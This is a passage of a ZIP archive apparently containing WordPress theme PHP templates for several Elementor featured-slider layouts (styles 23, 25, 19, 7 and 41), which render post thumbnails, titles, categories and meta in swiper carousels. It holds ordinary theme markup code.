				if ( $i % 5 == 1 ): $thumb = $bpost_thumb_size; endif;
				$sizep = 'small';
				if ( $i % 5 == 1 ): $sizep = 'normal'; endif;

				$thumb_m = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>  <?php echo( ( $i % 5 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_m ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_m : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 5 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\)    A  inc/elementor/modules/penci-featured-sliders/widgets/style-23.phpnu [        <?php
/**
 * Template part for Slider Style 23
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-thumb';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();

				$thumb = $post_thumb_size;
				if ( $i % 6 == 1 || $i % 6 == 2 ): $thumb = $bpost_thumb_size; endif;

				$sizep = 'small';
				if ( $i % 6 == 1 || $i % 6 == 2 ): $sizep = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 6 ); ?> <?php echo( ( $i % 6 == 1 || $i % 6 == 2 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 6 == 1 || $i % 6 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 6 == 1 || $i % 6 == 2 ): ?>
									<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php
											if ( $show_viewscount ) {
												echo '<span class="feat-countviews">';
												echo penci_get_post_views( get_the_ID() );
												echo ' ' . penci_get_setting( 'penci_trans_countviews' );
												echo '</span>';
											}
											?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
												'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
												'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
												'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
												'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 6 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\0    A  inc/elementor/modules/penci-featured-sliders/widgets/style-25.phpnu [        <?php
/**
 * Template part for Slider Style 25
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 4 == 1 ): $thumb = $bpost_thumb_size; endif;
				$sizep = 'small';
				if ( $i % 4 == 1 ): $sizep = 'normal'; endif;
				if ( $penci_is_mobile ) {
					$thumb = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
				}
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>  <?php echo( ( $i % 4 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 4 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 4 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 4 == 1 ): ?>
									<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php
											if ( $show_viewscount ) {
												echo '<span class="feat-countviews">';
												echo penci_get_post_views( get_the_ID() );
												echo ' ' . penci_get_setting( 'penci_trans_countviews' );
												echo '</span>';
											}
											?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
												'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
												'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
												'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
												'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\1  1  A  inc/elementor/modules/penci-featured-sliders/widgets/style-19.phpnu [        <?php
/**
 * Template part for Slider Style 19
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $bpost_thumb_size;
				$sizep = 'small';
				if ( $i % 4 == 2 || $i % 4 == 3 ): $thumb = $post_thumb_size;
					$sizep                                = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?> <?php echo( ( $i % 4 == 2 || $i % 4 == 3 ) ? 'penci-pitem-small' : 'penci-pitem-big' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\oA2    @  inc/elementor/modules/penci-featured-sliders/widgets/style-7.phpnu [        <?php
/**
 * Template part for Slider Style 7
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-square';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\u    A  inc/elementor/modules/penci-featured-sliders/widgets/style-41.phpnu [        <?php
/**
 * Template part for Slider Style 41
 */
$image_size          = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();

$data_attr = '';
$data_attr .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
$data_attr .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
$data_attr .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
$data_attr .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';

?>
<div class="penci-slider41-wrapper">
    <div class="penci-slider41-thumb-wrapper">
        <div class="penci-slider41-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="4"
             data-direction="vertical" data-desktop="4" data-tablet="3" data-mobile="3" data-margin="0"
             data-id="<?php echo $thumb_id; ?>"
             <?php echo $data_attr; ?>
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false">
            <div class="penci-slider41-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                    <div class="penci-slider41-t-item">

                        <div class="pcslider-41-img">
                        <div class="penci-image-holder"
                             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                             href="<?php the_permalink(); ?>"
                             title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></div>
                        </div>
                        <div class="pcslider-41-ct">
                        <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                        </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider41-main-wrapper">
        <div class="penci-slider41-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-id="<?php echo $main_id; ?>" <?php echo $data_attr; ?>>
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider41-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
